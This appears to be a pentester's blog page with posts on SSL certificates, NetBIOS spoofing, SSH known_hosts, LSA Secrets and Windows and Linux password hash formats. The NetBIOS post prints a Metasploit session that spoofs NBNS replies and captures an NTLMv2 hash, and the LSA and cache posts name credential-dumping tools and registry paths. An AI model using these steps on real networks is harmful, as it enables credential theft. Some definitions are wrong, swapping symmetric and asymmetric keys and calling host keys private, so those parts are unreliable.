Latest Entries »


So i’ve never really understood how certificates/ssl really works. Dont get me wrong, i understand how it works to a certain extent. I public/private key, shared key, CAs, etc… So i thought it would be a good time to write something up. I’m going to start with the basics and get those out of the way first.


Message: The data to be encoded.

Hash Function: Is a one way function that takes data and converts it to a fixed size bit string which is called a hash value, message digest, and a few other things. The slightest change to the message will completely change the hash value. The chances of 2 different messages creating the same hash value are extremely rare. Some algorithms used include MD4, MD5, SHA-0, SHA-1, SHA-256, and SHA-512.

Asymmetric key: A shared key is used to encrypt and decrypt the message

Symmetric keys: A public/private key is used to encrypt and decrypt the message. If a message is encrypted with the public key, the corresponding private key is used to decrypt the data, and vice versa. The public and private key are tied together and no other private/public key can decrypt the message. Normally the private key is kept private and the public key is given out to anyone who asks for it.

Digital Signature: Is a way to verify that a message has not been altered, and you know who the message is from. The sender runs the message through the hash function to create a hash value. Then the hash is encrypted using the private key. The message and the digital signature are combined and sent to the recipient. Now the recipient decrypts the digital signature and creates a hash of the message. If the 2 hashes are the same then we know the holder of the key pair sent the message and that it hasn’t been altered.

Digital Certificate: A document that uses a digital signature to bind a public key to a user/organization. It only binds the public key, as the private key is kept private so only that user can decrypt the data. The digital certificate can contain several pieces including name, address, etc… Digital Certificates are normally issued by a CA, or Certificate Authority.

Ok, so that was a little more than just basic terms :). But if you understand that you should be able to follow along.

When you visit a website over an SSL connection your browser requests the digital certificate, and the server happily sends it back as shown in the following screenshot.

Now that you have the digital certificate, we need to perform some checks. Using the digital signature we can confirm that the certificate was not alerted in transit. It also makes sure that it is still valid (certificates are only valid for a certain date range), and it has not been revoked. Most browsers include in their code the serial numbers of certificates that have been revoked, but they can also check the Certification Revocation List (CRL), which is not performed often.

So how do you really know that you can trust this certificate? I can create my own certificate and present it to you, i’m telling you that ‘you can trust me’. A trusted 3rd party, or Certificate Authority, issues certificates and validates that they who they say they are. These certificate authorities have a certificate installed on your browser, and when you run across a certificate issued by them your browser trusts that certificate (given that it’s not revoked and it is still valid).

This is just 1 example of digital certificates, there are many more, like in smart cards or in emails.


NetBIOS spoofing

There have been several posts regarding NetBIOS spoofing, and i thought i would write something up regarding it.

When a windows machine tries to access a resource on the network it will try and resolve the name of the resource to an IP address. It does this by first searching it’s host file, and if that fails (and generally does), it will then try DNS. Well DNS doesnt have records for everything, so the windows machine tries NetBIOS and if you dont have a WINS server setup, it will send a broadcast message asking if anyone knows about that resource. Perfect, we can respond with a machine that we control.

How often to machines fall back to NetBIOS queries? Laptops that are part of a domain on a different wireless network often query for resources. Often companies have a internal website configured. Also most web browsers when you perform a search they have to determine if you are trying to access a local resource or performing a search.

msf  auxiliary(smb) > use auxiliary/spoof/nbns/nbns_response
msf  auxiliary(nbns_response) > show options

Module options (auxiliary/spoof/nbns/nbns_response):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   REGEX      .*               yes       Regex applied to the NB Name to determine if spoofed reply is sent
   SPOOFIP    yes       IP address with which to poison responses
   TIMEOUT    500              yes       The number of seconds to wait for new data

msf  auxiliary(nbns_response) > run
[*] Auxiliary module execution completed

[*] NBNS Spoofer started. Listening for NBNS requests...
msf  auxiliary(nbns_response) > use auxiliary/server/capture/smb
msf  auxiliary(smb) > show options

Module options (auxiliary/server/capture/smb):

   Name        Current Setting   Required  Description
   ----        ---------------   --------  -----------
   CAINPWFILE                    no        The local filename to store the hashes in Cain&Abel format
   CHALLENGE   1122334455667788  yes       The 8 byte challenge
   JOHNPWFILE                    no        The prefix to the local filename to store the hashes in JOHN format
   SRVHOST           yes       The local host to listen on. This must be an address on the local machine or
   SRVPORT     445               yes       The local port to listen on.
   SSL         false             no        Negotiate SSL for incoming connections
   SSLCert                       no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3              no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)

msf  auxiliary(smb) > set JOHNPWFILE /pentest/passwords/wordlists/darkc0de.lst
JOHNPWFILE => /pentest/passwords/wordlists/darkc0de.lst
msf  auxiliary(smb) > run
[*] Auxiliary module execution completed

[*] Server started.
msf  auxiliary(smb) > [*] 2012-01-29 09:45:40 -0500
NTLMv2 Response Captured from
USER:keith DOMAIN:cheeze-it OS: LM:
NTHASH:******hash************* NT_CLIENT_CHALLENGE:****************************************************

SSH KnownHosts

When you SSH into a server for whatever reason Linux systems store the machine name/IP address and the private key. It does this so if you get prompted for the public key again then either you are compromised and are part of a man in the middle attack, or the private key on the server has changed. This information is stored in your user profile under .ssh/known_hosts

For an pentester this information could be useful. If your password is compromised an attacker can look at this file and see what machines you have ssh’ed into, would they be able to get into using the same username and password? Possibly. SSH has a new feature where it will hash each entry. To do so put ‘HashKnownHosts yes’ in .ssh/config or in /etc/ssh/ssh_config (for all users). Then run ‘ssh-keygen -H’ to hash your current entries.

The ‘|’ are separators, everything between them represent a value. The first is the hash_magic, i’m not really sure what that is for. the 2nd is the salt which is encoded in base 64, the 3rd is the hashed IP/Hostname, and the last is the private key for the host. The Hostname/IP is encoded using SHA1 and the salt, then encoded in base 64.


Windows has 2 types of security, local and domain. LSA or Local Security Authority is defined by Microsoft as “A protected subsystem that authenticates and logs users onto the local system. LSA also maintains information about all aspects of local security on a system, collectively known as the Local Security Policy of the system. In addition to housing policy information, the LSA provides services for translation between names and security identifiers (SIDs).” The process that is responsible for this is Local Security Authority Subsystem Service (LSASS.EXE)

The private database for LSA is called LSA Secrets and they are stored HKEY_LOCAL_MACHINESecurityPolicySecrets. These registry settings are all encrypted, but you should be able to find some software that allows you to view this information, LSADump, LSASecretsDump, pwdumpx, gsecdump, and Cain & Able are just a few that can.


I’ve been wanting to do this for a while, but never got around to it. This is a list of common operating systems and the password hashing algorithms they use. This list is by no means comprehensive.

LM HASH (Lan Manager)
Windows NT to Windows 2003 systems store both LM HASH and NT HASH, starting in Windows Vista one is disabled. LM Hash is not really a hash, “A hash is a mathematical function used to summarize or probabilistically identify data. LM instead uses a cryptographic one-way function (OWF). Instead of encrypting the password with some other key, the password itself is the key.” The Hash is generated by:

  1. Convert all lower case characters in the password to upper case, thus it’s case insensitive
  2. Pad the password with NULL characters until it is exactly 14 characters long, anything after is trimmed
  3. Split the password into two 7 character chunks
  4. Use each chunk separately as a DES key to encrypt a specific string (KGS!@#$%).
  5. Concatenate the two cipher texts into a 128-bit string and store the result

LMHASH passwords are limited on the characters that can be used, common alphanumeric set only. This hash is stored in the SAM file.

This hash is also pretty basic, the hash is generated by converting the password to Unicode, then create a MD4 hash using that text. This password hash is also stored in the SAM file.

By default on Windows Systems on an Active Directory domain, the last 10 users to login to the systems credentials are cached on the system, and are stored using the MSCache hash. These hashes are stored in the Registry, under HKEY_LOCAL_MACHINESECURITYCACHENL$1 through NL$10. In order to view them you need to have system rights, or you have to change the ACL to view them. These hashes are generated by:

  1. NTLM Algorithm is applied to the password
  2. Convert the username lowercase and to unicode
  3. Combine 1 and 2 and generate a MD4 hash

Was released with Windows Vista is an improvement over MSCACHE. It is generated by:

  1. MSCACHE is applied
  2. Apply PBKDF2 with SHA1 as HMAC, an iteration count of 10240, the old DCC hash as password and the Unicode username as salt in order to generate the DCC2 (MSCash2) hash. Only the first 128 bits of the resulting 160 bits are used.

Active Directory
Good write-up is available here

It depends on how you have your system configured, but most distributions use MD5 with a salt. If you look at your /etc/shadow file you will see something like the following:
We are only concerned with what is after root:. The first $ represents the hashing algorithm. 1 is for MD5, 2 is for Blowfish, 5 is SHA-256, and 6 is SHA-512. The next $ is the salt, then finally the password hash. You can change it to whatever you want it to be by editing PAM or using the command authconfig. When changing your password the system uses the crypt library, and if you set it to a algorithm that the system doesnt support, it will default to MD5. GLIBC2 supports more hashing algorithms.
The salt is generated randomly (I think, couldnt really find much on this) and is used when creating the hash. Here is an example